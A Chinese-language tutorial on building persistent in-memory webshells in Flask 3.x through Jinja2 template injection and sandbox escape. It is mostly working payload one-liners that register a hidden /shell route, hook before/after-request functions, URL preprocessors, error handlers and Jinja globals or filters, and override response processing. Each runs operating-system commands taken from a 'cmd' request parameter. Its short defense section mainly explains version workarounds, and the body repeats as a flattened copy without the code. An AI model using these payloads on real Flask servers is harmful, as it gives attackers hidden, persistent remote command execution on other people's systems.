详解Flask3.x版本下两大类型内存马
字数 2071 2025-12-03 12:08:35

Flask内存马技术详解

一、模板注入与沙箱逃逸基础

1.1 模板注入原理

Jinja2模板引擎允许在{{ }}中访问变量的属性和方法。通过Python对象之间的关联关系,攻击者可以利用对象引用链从模板字符串逃逸到Python内置环境。

对象引用链示例:

''.__class__.__base__.__subclasses__()

通过这种方式可以逐步访问到__builtins__,获得执行任意代码的能力。

1.2 沙箱逃逸机制

  • 沙箱定义:限制代码运行时命名空间、对象访问权限和系统调用能力的安全机制
  • 逃逸本质:利用Python对象引用图的连通性,绕过命名空间隔离
  • 关键方法:通过Python自省机制遍历未被完全剥离引用的对象

1.3 eval/exec直接利用

如果有eval或exec函数可直接使用,无需沙箱逃逸过程:

eval('恶意代码')

二、非debug模式内存马技术

2.1 核心组件分析

2.1.1 url_for & sys.modules

  • url_for():Flask反向生成URL的函数
  • 替代方案:通过sys.modules获取内存中加载的所有模块

2.1.2 __globals__属性

Python函数对象都有__globals__属性,指向定义该函数的模块的全局命名空间:

url_for.__globals__  # 返回flask.helpers模块的全局字典

2.1.3 __builtins__特性

  • __main__模块中:__builtins__是builtins模块本身
  • 在其他导入模块中:__builtins__是builtins模块的__dict__副本

2.1.4 _request_ctx_stack(Flask 2.2之前)

  • 作用:获取当前请求上下文
  • 使用方法:_request_ctx_stack.top.request.args.get('cmd')

2.1.5 current_app对象

全局代理对象,指向当前Flask应用实例,用于调用add_url_rule方法。

2.2 add_url_rule方法

Flask注册路由的底层方法:

app.add_url_rule(rule, endpoint, view_func)

参数说明:

  • rule:路由路径(如'/shell'
  • endpoint:端点名(必须唯一)
  • view_func:视图函数(通常使用lambda)

2.3 完整内存马示例

current_app.add_url_rule('/shell', 'shell', lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())

2.4 执行流程

  1. 沙箱逃逸获取eval函数
  2. 通过current_app获取应用实例
  3. 使用add_url_rule添加恶意路由
  4. Lambda函数动态获取参数执行命令

三、debug模式内存马技术

3.1 钩子函数利用原理

3.1.1 钩子与装饰器区别

  • 装饰器:Flask提供的公开API接口
  • 钩子:Flask底层的数据结构(列表/字典)

3.1.2 为什么使用钩子而非装饰器

  1. 绕过@setupmethod限制
  2. 直接操作运行时内存状态
  3. 实现持久化驻留

3.2 钩子函数类型分析

3.2.1 before_request_funcs

触发时机:请求刚到达,视图函数执行前

内存马构造:

app.before_request_funcs.setdefault(None, []).append(
    lambda: os.popen(request.args.get('cmd', 'whoami')).read() if 'cmd' in request.args else None
)

源码分析:

def before_request(self, f):
    self.before_request_funcs.setdefault(None, []).append(f)
    return f

3.2.2 after_request_funcs

触发时机:视图函数执行后,响应发送前

技术难点:

  1. 参数数量必须匹配(需接收response参数)
  2. 必须返回Response对象

解决方案:

# 方法一:使用setattr
app.after_request_funcs.setdefault(None, []).append(
    lambda resp: (setattr(resp, 'data', __import__('os').popen(request.args.get('cmd', 'whoami')).read()), resp)[1]
)

# 方法二:使用set_data
app.after_request_funcs.setdefault(None, []).append(
    lambda resp: (resp.set_data(__import__('os').popen(request.args.get('cmd', 'whoami')).read()), resp)[1]
)

# 方法三:使用exec(复杂场景)
app.after_request_funcs.setdefault(None, []).append(
    lambda resp: (exec("global CmdResp; CmdResp = __import__('os').popen(request.args.get('cmd', 'whoami')).read()", globals()) or 1) and CmdResp if 'cmd' in request.args else resp
)

3.2.3 url_value_preprocessors

触发时机:路由匹配成功后,参数解析时

特殊要求:函数必须接收两个参数(endpoint和values)

内存马构造:

app.url_value_preprocessors[None].append(
    lambda ep, args: (_ for _ in ()).throw(Exception('cmd: ' + __import__('os').popen(request.args.get('cmd', 'whoami')).read())) if 'cmd' in request.args else None
)

四、新版Flask框架适配

4.1 模板上下文处理器

触发时机:渲染模板之前运行

特殊要求:必须返回字典

内存马构造:

app.template_context_processors[None] = [
    lambda: {'key': __import__('os').popen(request.args.get('cmd', 'whoami')).read() if 'cmd' in request.args else ''}
]

4.2 错误处理钩子

4.2.1 error_handler_spec

app.error_handler_spec[None][404] = {
    lambda e: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
}

4.2.2 handle_user_exception覆盖

setattr(app, 'handle_user_exception', 
    lambda e: __import__('os').popen(request.args.get('cmd', 'whoami')).read() and make_response('HACKED') if 'cmd' in request.args else original_handler(e)
)

五、高级内存马技术

5.1 Jinja2环境篡改

5.1.1 全局变量注入

app.jinja_env.globals.update({
    'cmd': lambda: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
})

SSTI利用: {{ cmd() }}

5.1.2 过滤器注入

app.jinja_env.filters.update({
    'cmd': lambda x: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
})

SSTI利用: {{ "" | cmd }}

5.2 核心组件覆盖

5.2.1 process_response覆盖

setattr(app, 'process_response', lambda resp: (
    resp.set_data(__import__('os').popen(request.args.get('cmd', 'whoami')).read()) 
    if 'cmd' in request.args else resp
))

六、防御与检测机制

6.1 @setupmethod保护

Flask应用启动后(_got_first_request = True),禁止通过装饰器注册新的路由或钩子。

6.2 关键技术点总结

  1. 全局钩子选择:使用None作为键值实现全局触发
  2. 参数适配:不同钩子函数有特定的参数要求
  3. 返回值处理:确保不破坏Flask的正常执行流程
  4. 异常利用:debug模式下通过抛出异常实现回显

6.3 版本适配说明

  • Flask 2.2+:弃用_request_ctx_stack,使用contextvars
  • Flask 2.3+:移除before_first_request等旧钩子
  • 持续关注官方API变化,及时调整技术方案

本教学文档详细分析了Flask框架下各种内存马技术的实现原理和构造方法,涵盖了从基础沙箱逃逸到高级组件覆盖的完整知识体系。

Flask内存马技术详解 一、模板注入与沙箱逃逸基础 1.1 模板注入原理 Jinja2模板引擎允许在 {{ }} 中访问变量的属性和方法。通过Python对象之间的关联关系,攻击者可以利用对象引用链从模板字符串逃逸到Python内置环境。 对象引用链示例: 通过这种方式可以逐步访问到 __builtins__ ,获得执行任意代码的能力。 1.2 沙箱逃逸机制 沙箱定义 :限制代码运行时命名空间、对象访问权限和系统调用能力的安全机制 逃逸本质 :利用Python对象引用图的连通性,绕过命名空间隔离 关键方法 :通过Python自省机制遍历未被完全剥离引用的对象 1.3 eval/exec直接利用 如果有eval或exec函数可直接使用,无需沙箱逃逸过程: 二、非debug模式内存马技术 2.1 核心组件分析 2.1.1 url_ for & sys.modules url_for() :Flask反向生成URL的函数 替代方案:通过 sys.modules 获取内存中加载的所有模块 2.1.2 __ globals__ 属性 Python函数对象都有 __globals__ 属性,指向定义该函数的模块的全局命名空间: 2.1.3 __ builtins__ 特性 在 __main__ 模块中: __builtins__ 是builtins模块本身 在其他导入模块中: __builtins__ 是builtins模块的 __dict__ 副本 2.1.4 _ request_ ctx_ stack(Flask 2.2之前) 作用:获取当前请求上下文 使用方法: _request_ctx_stack.top.request.args.get('cmd') 2.1.5 current_ app对象 全局代理对象,指向当前Flask应用实例,用于调用 add_url_rule 方法。 2.2 add_ url_ rule方法 Flask注册路由的底层方法: 参数说明: rule :路由路径(如 '/shell' ) endpoint :端点名(必须唯一) view_func :视图函数(通常使用lambda) 2.3 完整内存马示例 2.4 执行流程 沙箱逃逸获取eval函数 通过current_ app获取应用实例 使用add_ url_ rule添加恶意路由 Lambda函数动态获取参数执行命令 三、debug模式内存马技术 3.1 钩子函数利用原理 3.1.1 钩子与装饰器区别 装饰器 :Flask提供的公开API接口 钩子 :Flask底层的数据结构(列表/字典) 3.1.2 为什么使用钩子而非装饰器 绕过@setupmethod限制 直接操作运行时内存状态 实现持久化驻留 3.2 钩子函数类型分析 3.2.1 before_ request_ funcs 触发时机 :请求刚到达,视图函数执行前 内存马构造: 源码分析: 3.2.2 after_ request_ funcs 触发时机 :视图函数执行后,响应发送前 技术难点: 参数数量必须匹配(需接收response参数) 必须返回Response对象 解决方案: 3.2.3 url_ value_ preprocessors 触发时机 :路由匹配成功后,参数解析时 特殊要求 :函数必须接收两个参数(endpoint和values) 内存马构造: 四、新版Flask框架适配 4.1 模板上下文处理器 触发时机 :渲染模板之前运行 特殊要求 :必须返回字典 内存马构造: 4.2 错误处理钩子 4.2.1 error_ handler_ spec 4.2.2 handle_ user_ exception覆盖 五、高级内存马技术 5.1 Jinja2环境篡改 5.1.1 全局变量注入 SSTI利用: {{ cmd() }} 5.1.2 过滤器注入 SSTI利用: {{ "" | cmd }} 5.2 核心组件覆盖 5.2.1 process_ response覆盖 六、防御与检测机制 6.1 @setupmethod保护 Flask应用启动后( _got_first_request = True ),禁止通过装饰器注册新的路由或钩子。 6.2 关键技术点总结 全局钩子选择 :使用 None 作为键值实现全局触发 参数适配 :不同钩子函数有特定的参数要求 返回值处理 :确保不破坏Flask的正常执行流程 异常利用 :debug模式下通过抛出异常实现回显 6.3 版本适配说明 Flask 2.2+:弃用 _request_ctx_stack ,使用 contextvars Flask 2.3+:移除 before_first_request 等旧钩子 持续关注官方API变化,及时调整技术方案 本教学文档详细分析了Flask框架下各种内存马技术的实现原理和构造方法,涵盖了从基础沙箱逃逸到高级组件覆盖的完整知识体系。